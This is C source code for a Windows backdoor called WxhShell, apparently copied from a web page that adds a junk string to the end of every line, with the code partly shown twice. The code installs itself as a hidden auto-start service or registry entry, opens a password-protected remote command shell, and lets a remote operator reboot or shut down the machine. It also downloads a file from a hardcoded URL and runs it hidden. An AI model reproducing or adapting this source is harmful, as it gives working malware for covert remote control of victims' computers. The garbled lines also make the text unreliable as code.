    } 4/~x+tdc  
  // 关机 mH\zSk  
  case 'd': { i#>t<g`l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^85Eveu  
    if(Boot(SHUTDOWN)) Soq#cl'll-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <qfAW?tF  
    else { /%g9g_rt#  
    closesocket(wsh); \{`^Q+<  
    ExitThread(0); qK7:[\T|?T  
    } .Pj<Pe  
    break; !O%!A<3  
    } d)1gpRp  
  // 获取shell OGg\VV'  
  case 's': { =V|jd'iwx  
    CmdShell(wsh); r<fcZ)jt|  
    closesocket(wsh); l,hOnpm9  
    ExitThread(0); U2m#BMV  
    break; <c[\\ :Hh*  
  } N$kxf  
  // 退出 F$\Da)Y  
  case 'x': { 7:olStK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,93Uji[l  
    CloseIt(wsh); LUD .  
    break; qr4 lr!#t  
    } _|["}M"?  
  // 离开 ss%,  
  case 'q': { pWKE`x^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;ZUj2WxE  
    closesocket(wsh); }(8>&  
    WSACleanup(); g>h/|b w4  
    exit(1); 2|^@=.4\  
    break; pDlrK&;\z  
        } BL 1KM2]  
  } '>t&fzD0  
  } OM0r*<D"!  
aGC3&c[Wx  
  // 提示信息 rs?Dn6:;B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JrOx nxd^  
} j yD3Sa3  
  } R`@T<ob)  
l+@;f(8}  
  return; iOg4(SPci  
} ]uox ^HC  
pZ'q_Oux  
// shell模块句柄 GGEM&0*  
int CmdShell(SOCKET sock) iGhvQmd(/*  
{ e:Y+-C5  
STARTUPINFO si; vQLYWRXiA  
ZeroMemory(&si,sizeof(si)); uX1;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ={;pg(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 't`h?VvL  
PROCESS_INFORMATION ProcessInfo; 86)2\uan  
char cmdline[]="cmd"; ~g/"p`2-N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A9b(P[!]T:  
  return 0; |&8XmexLb  
} K1hkOj;S  
+o`%7r(R  
// 自身启动模式 :41Y  
int StartFromService(void) ?d3K:|g  
{ j7Fb4;o{  
typedef struct ~Pw9[ycn3  
{ :W0p3 6"  
  DWORD ExitStatus; Fge%6hu  
  DWORD PebBaseAddress; 4& cQW)  
  DWORD AffinityMask; DWOf\[  
  DWORD BasePriority; eR \duZ!`  
  ULONG UniqueProcessId; BS fmS(.  
  ULONG InheritedFromUniqueProcessId; : B&~q$  
}   PROCESS_BASIC_INFORMATION; zA9q`ePS  
: |s;2Y  
PROCNTQSIP NtQueryInformationProcess; C33Jzn's  
GP c B(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  B`e/ /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ck )W=  
Zq 85q  
  HANDLE             hProcess; L" ejA  
  PROCESS_BASIC_INFORMATION pbi; -c&=3O!  
9Of;8R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ISC>]`  
  if(NULL == hInst ) return 0; `[5xncZ-  
{ .$7g8]I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mv99SOe[Fz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g7]S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pYQSn.`V~  
#aL.E(%  
  if (!NtQueryInformationProcess) return 0; pRV.\*:c  
z )hK2JD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8%CznAO"?W  
  if(!hProcess) return 0; 6 8,j~e3-i  
,WWd%DF)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .)[E`a  
qI9j=4s.  
  CloseHandle(hProcess); 6ioj!w<N  
Pg T3E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +pqbl*W;1  
if(hProcess==NULL) return 0; s 1M-(d Q  
9f0`HvHC  
HMODULE hMod; y[$UeE"0  
char procName[255]; Bbs1U  
unsigned long cbNeeded; E~}H,*)  
Y9X,2L7V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E>QS^)ih  
S|tA%2z  
  CloseHandle(hProcess); k*;U?C!  
5%2~/ "  
if(strstr(procName,"services")) return 1; // 以服务启动 HD KF>S_S  
mbbhz,  
  return 0; // 注册表启动 5V/&4$.U!  
} Z0Sqw  
Z~Q5<A9Jz  
// 主模块 1R8tR#l  
int StartWxhshell(LPSTR lpCmdLine) !O"2)RU1  
{ []@@  
  SOCKET wsl; y`zdI_!7  
BOOL val=TRUE; ?MFC(Wsh  
  int port=0; C '[4jz0xF  
  struct sockaddr_in door; {2q"9Ox"  
[!%5(Ro_  
  if(wscfg.ws_autoins) Install(); t`Bk2Cc)+  
} 9zi5 o8  
port=atoi(lpCmdLine); o=Z:0Ukl]  
*Hn=)q  
if(port<=0) port=wscfg.ws_port; zqj|$YNC  
Fxa{ 9'99  
  WSADATA data; ,|RKM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =)+^y}xb  
gH(#<f@ZI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uq]=L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k:?)0Uh%^  
  door.sin_family = AF_INET; ~s&r.6 DW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S Yi!%  
  door.sin_port = htons(port); X$;x2mz nM  
]Y]]X[@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (enr{1  
closesocket(wsl); bMc[0  
return 1; Z#u{th  
} q'S[TFMNE  
+I uu8t  
  if(listen(wsl,2) == INVALID_SOCKET) { }OIe!  
closesocket(wsl); ?cWwt~N9  
return 1; tF,`v{-up  
} -_9*BvS]R  
  Wxhshell(wsl); 3L==p`   
  WSACleanup(); b&yuy  
0Md.3kY  
return 0; % m6qL  
'~ B2[  
} vWmt<E|e  
^"<Bk<b(  
// 以NT服务方式启动 DC).p'0VL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2<UC^vZ  
{ 9 D.wW  
DWORD   status = 0; jjH2!R]^>  
  DWORD   specificError = 0xfffffff; O+mEE>:w%  
/ :.I&^>P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;rL>{UhG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? ;Sg,.J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XS2/U<s d  
  serviceStatus.dwWin32ExitCode     = 0; x$jLB&+ICz  
  serviceStatus.dwServiceSpecificExitCode = 0; pWE(?d_M{G  
  serviceStatus.dwCheckPoint       = 0; uG'S&8i_  
  serviceStatus.dwWaitHint       = 0; h(@.bt#  
XPrnQJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `&x>2FJ  
  if (hServiceStatusHandle==0) return; L:_{bE|TY  
yqx!{8=V  
status = GetLastError(); c[,Rh f  
  if (status!=NO_ERROR) ~ 1TT?H  
{ V(K;Gc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !lg_zAV  
    serviceStatus.dwCheckPoint       = 0; e%:vLE 9  
    serviceStatus.dwWaitHint       = 0; |^Yz*r?BJ  
    serviceStatus.dwWin32ExitCode     = status; D@X"1X!F`G  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;C=d( pY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -}xK> ["  
    return; mW)kWuOO  
  } 3BK 8{/  
x2fqfrr_]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "PTEt{qn  
  serviceStatus.dwCheckPoint       = 0; SD~4CtlfI  
  serviceStatus.dwWaitHint       = 0; =@O&$&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Qj$@.*:  
} 8[@Y`j8  
~a  V5  
// 处理NT服务事件,比如:启动、停止 zE8_3UC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3s]o~I2x  
{ ]srL>29_b  
switch(fdwControl) DJdhOLx  
{ bhDqRM  
case SERVICE_CONTROL_STOP: g'km*EV  
  serviceStatus.dwWin32ExitCode = 0; jp_)NC/~g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cs"ivET  
  serviceStatus.dwCheckPoint   = 0; |Z>}#R!,P  
  serviceStatus.dwWaitHint     = 0; 1:7 fV@jw  
  { PY4">~6\i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OPUrz?p2C  
  } {gEz;:!):  
  return; l(QntP  
case SERVICE_CONTROL_PAUSE: (i{ZxWW&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WUYU\J&q3  
  break; rUV'DC?eE  
case SERVICE_CONTROL_CONTINUE: Qg1kF^=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ' "%hX&]5  
  break; =saRh)EM  
case SERVICE_CONTROL_INTERROGATE:  fZap\  
  break; =j w?*  
}; d+h~4'ebv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`S_Gy  
} evE:FiDm(j  
r;(^]Soz  
// 标准应用程序主函数 8:I-?z;S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) StNA(+rT  
{ &!:mL],  
u9q#L.Ij  
// 获取操作系统版本 U7zd7 O  
OsIsNt=GetOsVer(); (@ BB @G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AVz907h8  
2sqH > fen  
  // 从命令行安装 (G{:O   
  if(strpbrk(lpCmdLine,"iI")) Install(); ou)0tX3j  
{ .i^&  
  // 下载执行文件 Rbgy?8#9  
if(wscfg.ws_downexe) { UaXIrBc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;\13x][  
  WinExec(wscfg.ws_filenam,SW_HIDE); T{3-H(-gA  
} NP\/9 8|1  
4%yeEc ;z  
if(!OsIsNt) { B&!>& Rbx  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~t*_  
HideProc(); _Nz?fJ:$@  
StartWxhshell(lpCmdLine); Z~w?Qm:/  
} `]6W*^'PD  
else #Ph8 ?  
  if(StartFromService()) ?` ebi|6  
  // 以服务方式启动 "_rpErm }  
  StartServiceCtrlDispatcher(DispatchTable); ^Kl<<pUaV  
else yJ; ;&  
  // 普通方式启动 #K-O<:s=y  
  StartWxhshell(lpCmdLine); {vd +cE  
A)SnPbI-p  
return 0; _!Z}HCk  
} qpf|.m  
5 r<cna  
B.Z5+MgM  
CC`#2j  
=========================================== l,QO+ >)z  
ZI :wJU:f  
D_z&G)  
|ns9ziTDI  
dqt}:^L*0g  
.zW.IM}Z  
" >6(e6/C-9  
zU|'IW&  
#include <stdio.h> 5NK yF  
#include <string.h> }&Xf<6  
#include <windows.h> IQ~EL';<w  
#include <winsock2.h> Hb$wawy<  
#include <winsvc.h> J rYL8 1  
#include <urlmon.h> )q{e L$  
v~!_DD au  
#pragma comment (lib, "Ws2_32.lib") WR* <|  
#pragma comment (lib, "urlmon.lib") M~saYJio  
R|O^7o  
#define MAX_USER   100 // 最大客户端连接数 %yVP@M  
#define BUF_SOCK   200 // sock buffer VRv.H8^{  
#define KEY_BUFF   255 // 输入 buffer t<p4H^  
XPi5E"  
#define REBOOT     0   // 重启 NQbgk+&wD  
#define SHUTDOWN   1   // 关机 Es:oXA  
EF6"PH+J@  
#define DEF_PORT   5000 // 监听端口 h&Q-QU  
srU*1jD)  
#define REG_LEN     16   // 注册表键长度 :?3y)*J!  
#define SVC_LEN     80   // NT服务名长度 ;ejtP #$  
*U,W4>(B  
// 从dll定义API `C*psS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ARB^]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <5c^DA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M1Th~W9l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {`% q0Nr  
y2x)<.cDP  
// wxhshell配置信息 _cc9+o  
struct WSCFG { LtDGu})1  
  int ws_port;         // 监听端口 >$A,B  
  char ws_passstr[REG_LEN]; // 口令 VsRdZ4  
  int ws_autoins;       // 安装标记, 1=yes 0=no N?%FVF  
  char ws_regname[REG_LEN]; // 注册表键名 kgFx  
  char ws_svcname[REG_LEN]; // 服务名 _~b]/]|z#N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Oimq P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Vy`u)gG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +oa>k 0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <;E>1*K}8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6~8X/ -02  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A0uA\E4q  
qzE -y-9@  
}; % ELf 7~  
^;mGOjS  
// default Wxhshell configuration rx(z::  
struct WSCFG wscfg={DEF_PORT, q9m-d-!)  
    "xuhuanlingzhe", }/-TT0*6j<  
    1, 0\Myhh~DLE  
    "Wxhshell", N07FU\<9  
    "Wxhshell", EDGAaN*Q  
            "WxhShell Service", p~t5PU*(  
    "Wrsky Windows CmdShell Service", sC RmLUD  
    "Please Input Your Password: ", cD4H@!=a  
  1, McQWZ<  
  "http://www.wrsky.com/wxhshell.exe", ulY<4MN  
  "Wxhshell.exe" JsQmn<Yt  
    }; v0~*?m4  
@{^6_n+gT%  
// 消息定义模块 OD1>s6uA7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \]p[DYBY#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vM /D7YS:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @I0[B<,:G  
char *msg_ws_ext="\n\rExit."; I/w=!Ih  
char *msg_ws_end="\n\rQuit."; pS<j>y  
char *msg_ws_boot="\n\rReboot..."; cvv(OkC  
char *msg_ws_poff="\n\rShutdown..."; Iqm QQ_KH  
char *msg_ws_down="\n\rSave to "; ,OaPrAt-  
h*zHmkFR  
char *msg_ws_err="\n\rErr!"; JdA3O{mT)  
char *msg_ws_ok="\n\rOK!"; e^Lt{/  
`n`aA)|<  
char ExeFile[MAX_PATH]; ef(OhIX  
int nUser = 0; 7TGLt z  
HANDLE handles[MAX_USER]; ^U@E rc#d  
int OsIsNt; ;1woTAuD  
6 g`Y~ii  
SERVICE_STATUS       serviceStatus; wfF0+T+IA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !T8h+3 I  
9^1.nE(R&  
// 函数声明 j.y8H  
int Install(void); E6y ?DXW H  
int Uninstall(void); _,9/g^<  
int DownloadFile(char *sURL, SOCKET wsh); 6`hHx=L  
int Boot(int flag); o;Ma)/P  
void HideProc(void); 9"mcN3x:\e  
int GetOsVer(void); LIDYKKDJ^  
int Wxhshell(SOCKET wsl); hNJubTSE+)  
void TalkWithClient(void *cs); TYh_uox6  
int CmdShell(SOCKET sock);  D^JuL6U  
int StartFromService(void); G8voqP  
int StartWxhshell(LPSTR lpCmdLine); qHQ#^jH  
ax+P) yz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h"+|)'*n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OQm-BL   
FYu=e?L  
// 数据结构和表定义 ZAcW@xfb  
SERVICE_TABLE_ENTRY DispatchTable[] = By-A1|4Cp`  
{ !9JK95;  
{wscfg.ws_svcname, NTServiceMain}, ~Uw<E:?v  
{NULL, NULL} ~$3X>?Q  
}; V$XCe  
4{oS(Vl!  
// 自我安装 Yy:Q/zw o  
int Install(void) %o9;jX  
{ /SDDCZ`;|c  
  char svExeFile[MAX_PATH]; XT 'v7  
  HKEY key; MX{p)(HW  
  strcpy(svExeFile,ExeFile); .V:H~  
XQ]5W(EP  
// 如果是win9x系统,修改注册表设为自启动 w- .=u3  
if(!OsIsNt) { m"Y|xvIA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  B Ji  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2K1odqO#   
  RegCloseKey(key); K1K3s< y+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `CXAE0Fx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j4G?=oDb  
  RegCloseKey(key); ;^j 2>Azn  
  return 0; $5)ZaYx<  
    } HC*V\vz  
  } d,9YrwbD  
} )cX6o[oia  
else { X3j<HQcK  
j3`"9bY  
// 如果是NT以上系统,安装为系统服务 !(EJ.|LH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #YMU}4=:  
if (schSCManager!=0) N6BFs(  
{ | D jgm7$*  
  SC_HANDLE schService = CreateService Kqt,sJ  
  ( _,JdL'[d  
  schSCManager, ` E2@GX+,  
  wscfg.ws_svcname, i; 3^vhbQ  
  wscfg.ws_svcdisp, ua]>0\D  
  SERVICE_ALL_ACCESS, !wttKUO?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;w_f^R #  
  SERVICE_AUTO_START, eQUm!9)  
  SERVICE_ERROR_NORMAL, *[eh0$  
  svExeFile, ,mE*k79L6  
  NULL, P`K?k<  
  NULL, &91U(Go  
  NULL, k*8 ld-O  
  NULL, HjO-6F#s  
  NULL u~9gR@e2{  
  ); S>oQm  
  if (schService!=0) noBGP/Av=:  
  { 7EKQE>xj  
  CloseServiceHandle(schService); ? }2]G'7?  
  CloseServiceHandle(schSCManager); ;*Cu >f7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q! +?  
  strcat(svExeFile,wscfg.ws_svcname); C?3?<FDL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [o=v"s't)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^sNj[%I R  
  RegCloseKey(key); \666{.a  
  return 0; j<LDJi>O  
    } ~fE6g3  
  } Zw[A1!T,  
  CloseServiceHandle(schSCManager); ;{e;6Hq  
} 9(>l trA  
} S"Dw8_y7}  
c bk|LQ.O  
return 1; ? D?XaRb  
} D e>'  
JZ5N Q)sX  
// 自我卸载 "@JSF  
int Uninstall(void) X~O2!F  
{ xsq+RBJi  
  HKEY key; F~cvob{  
o1"MW>B,4  
if(!OsIsNt) { ;MqH)M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cj:!uhZp7  
  RegDeleteValue(key,wscfg.ws_regname); Ed%8| M3  
  RegCloseKey(key); J0e~s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RfMrGC^?  
  RegDeleteValue(key,wscfg.ws_regname); (P-Bmu!s  
  RegCloseKey(key); {:VUu?5-t;  
  return 0; szY=N7\S*  
  } k{op,n#  
} Q]Fm4  
} 'L w4jq  
else { z@nJ-*'U8  
pm-SDp>s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CV~\xYY  
if (schSCManager!=0) `i8KIE  
{ )|88wa(M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); abq$OI  
  if (schService!=0) m8q3Pp  
  { 7[wHNJ7)r  
  if(DeleteService(schService)!=0) { |Go?A/'  
  CloseServiceHandle(schService); qFo'"z`84  
  CloseServiceHandle(schSCManager); 5V5E,2+ 0  
  return 0; ,haCZH {  
  } tH_e?6]  
  CloseServiceHandle(schService); X`dd"8%  
  } |=7ouFl  
  CloseServiceHandle(schSCManager); 2l)J,z  
} K +oFu%  
} S+Aq0B<  
5YlY=J  
return 1; %E95R8SL  
} g7*ii X  
l^s\^b=W  
// 从指定url下载文件 qHGXs@*M&  
int DownloadFile(char *sURL, SOCKET wsh) y`?{ 2#1H  
{ Im;8Abf  
  HRESULT hr; s6(iiB%d  
char seps[]= "/"; D{&0r.2F  
char *token; 8#OcrJzC  
char *file; ~:Jw2 P2z  
char myURL[MAX_PATH]; Jl^Rz;bQ-  
char myFILE[MAX_PATH]; x(/KHpSWK  
h)EHaaf  
strcpy(myURL,sURL); SCClD6k=V  
  token=strtok(myURL,seps); [b: $sR;  
  while(token!=NULL) 8*nl Wl9qo  
  { /YbyMj*  
    file=token; oaI|A^v  
  token=strtok(NULL,seps); aI$D qnF4  
  } l[EnFbD6  
=qY!<DB[L  
GetCurrentDirectory(MAX_PATH,myFILE); P=:mn>  
strcat(myFILE, "\\"); ?=:wIMV  
strcat(myFILE, file);  =#N;ZG  
  send(wsh,myFILE,strlen(myFILE),0); lMu}|d  
send(wsh,"...",3,0); c?qg i"kS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jXEuK:exQ  
  if(hr==S_OK) sp4J%2b  
return 0; -e"~UDq`  
else yub|   
return 1; D|W^PR:@h  
oT7=  
} SbNs#  
6&o9mc\I  
// 系统电源模块 ?UC3ES  
int Boot(int flag) _pSCv:3T  
{ =&QC&CqEi  
  HANDLE hToken; ~Qzb<^9]  
  TOKEN_PRIVILEGES tkp; W+[XNIg5   
Ca[H<nyj  
  if(OsIsNt) { >E;-asD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Gl0h'!(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #rL%K3'  
    tkp.PrivilegeCount = 1; KdT1Nb=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9o<}*L   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sd;J(<Ofh  
if(flag==REBOOT) { &Q>)3]|p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GY@-}p~it  
  return 0; L-}>;M$Y)  
} box(FjrZE  
else {  (f DA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E|ce[|2  
  return 0; 60KhwD1  
} Tu Q@b  
  } N=J$+  
  else { yoKl.U"&  
if(flag==REBOOT) { usb.cE3 z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'J R2@W`]]  
  return 0; @1#QbNp#  
} -LF0%G  
else {  8+no>%L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GE`:bC3  
  return 0; ,f`435R  
} k r0PL)$  
} #hEN4c[Ex  
W+ tI(JZ  
return 1; vkdU6CZO  
} ze!S4&B  
HC0q_%j  
// win9x进程隐藏模块 aa8xo5tIp  
void HideProc(void) gxEa?QH  
{ -!uut7Z|  
YNc] x>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P+iZ5S\kL=  
  if ( hKernel != NULL ) 6LUO  
  { c}iVBN6~.<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yc.Vm[!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UGuEZ-r  
    FreeLibrary(hKernel); V[f-Nj Kf  
  } +u%^YBr  
UUy%:t  
return; K!/"&RjW.  
} Z:3N*YkL  
oQgd]| v  
// 获取操作系统版本 y5_`<lFv  
int GetOsVer(void) x`@!hJc:[e  
{ Lpw9hj|  
  OSVERSIONINFO winfo; ;[%_sVIy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YQ}xr^VA  
  GetVersionEx(&winfo); (Dr g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IUco 8  
  return 1; Nx~9Ug  
  else |zD{]y?S-  
  return 0; Pl_4;q!$  
} ZhqrN]x  
rzJNHf=FVY  
// 客户端句柄模块 =5NrkCk#V  
int Wxhshell(SOCKET wsl) 5'f4=J$Z)  
{ %} WSw~X  
  SOCKET wsh; y2k '^zE  
  struct sockaddr_in client; jU2Dpxkt  
  DWORD myID;  %Gp%l  
JzD Mx?  
  while(nUser<MAX_USER) W:q79u yX  
{ 5t]}(.0+  
  int nSize=sizeof(client); +TW9BU'a^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jy)E!{#x  
  if(wsh==INVALID_SOCKET) return 1; wD|,G!8E2  
#L}Y Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uGm~ Oo  
if(handles[nUser]==0) ^R* _Q,o#  
  closesocket(wsh); |;2Y|>=  
else $mvcqn;  
  nUser++; ]]lgCac_U9  
  } (4_7ICFI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )3<|<jwcx  
|FZ)5  
  return 0; 74YMFI   
} * z|i{=W F  
Wx#((T  
// 关闭 socket < aeBhg%  
void CloseIt(SOCKET wsh) ~[|&)}q  
{ Zw+VcZz3  
closesocket(wsh); jR-`ee}y2  
nUser--; s BP.P7u  
ExitThread(0); ok;Yxp>  
} M<Mr L[*j  
7Iu^ l4=2  
// 客户端请求句柄 hS]g^S==2h  
void TalkWithClient(void *cs) [r'PGx  
{ Y1a[HF^-  
,bT|:T@ny  
  SOCKET wsh=(SOCKET)cs; M,]C(f>  
  char pwd[SVC_LEN]; 3R(GO.n=]  
  char cmd[KEY_BUFF]; Wz)O,X^  
char chr[1]; 0yW#).D^b  
int i,j; n:JWu0,h  
cW B>  
  while (nUser < MAX_USER) { $0WO 4C%M  
Z;kRQ  
if(wscfg.ws_passstr) { RAMkTS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?>b>LDpx?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N6wea]  
  //ZeroMemory(pwd,KEY_BUFF); cIqk=_]  
      i=0; aty"6~  
  while(i<SVC_LEN) { 4Q2=\-KFj  
}7iWmXlI  
  // 设置超时 PI{;3X}9$,  
  fd_set FdRead; ;J|sH>i  
  struct timeval TimeOut; JmDi{B?  
  FD_ZERO(&FdRead); j^ L"l;m  
  FD_SET(wsh,&FdRead); MhMY"bx8  
  TimeOut.tv_sec=8; )cA#2mlS'1  
  TimeOut.tv_usec=0; Jy&O4g/'5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [{.e1s<EK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +`pS 7d  
gL%%2 }$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  zjVBMqdD  
  pwd=chr[0]; *Ag</g@ h  
  if(chr[0]==0xd || chr[0]==0xa) { AR9D;YfR~  
  pwd=0; j)4:*R.Z]  
  break; +_Nr a  
  } ,ra!O=d~0  
  i++; S a5+_TW  
    } -dXlGOD+C  
? b;_T,S[  
  // 如果是非法用户,关闭 socket 6*`KC)a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6 &~8TH  
} qEvHrsw},  
Rh!B4oB4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MfNxd 6w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V1Yab#  
:1h1+b@,  
while(1) { S~BBBD  
$OI 6^  
  ZeroMemory(cmd,KEY_BUFF); [J0f:&7\  
t)|*-=  
      // 自动支持客户端 telnet标准   wQR>S>p  
  j=0; l ;"v&?  
  while(j<KEY_BUFF) { @<]sW*s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9>gxJ7pY  
  cmd[j]=chr[0]; r{y&}gA  
  if(chr[0]==0xa || chr[0]==0xd) { qYD$_a  
  cmd[j]=0; 8U,VpuQ:  
  break; j`JY3RDD  
  } W;~ f865  
  j++; (S1c6~  
    } on?<3eED  
+/u)/ey  
  // 下载文件 E`#m0Q(8  
  if(strstr(cmd,"http://")) { RLBeti>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x*}41;j}C  
  if(DownloadFile(cmd,wsh)) wf47Ulx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*d Pw.  
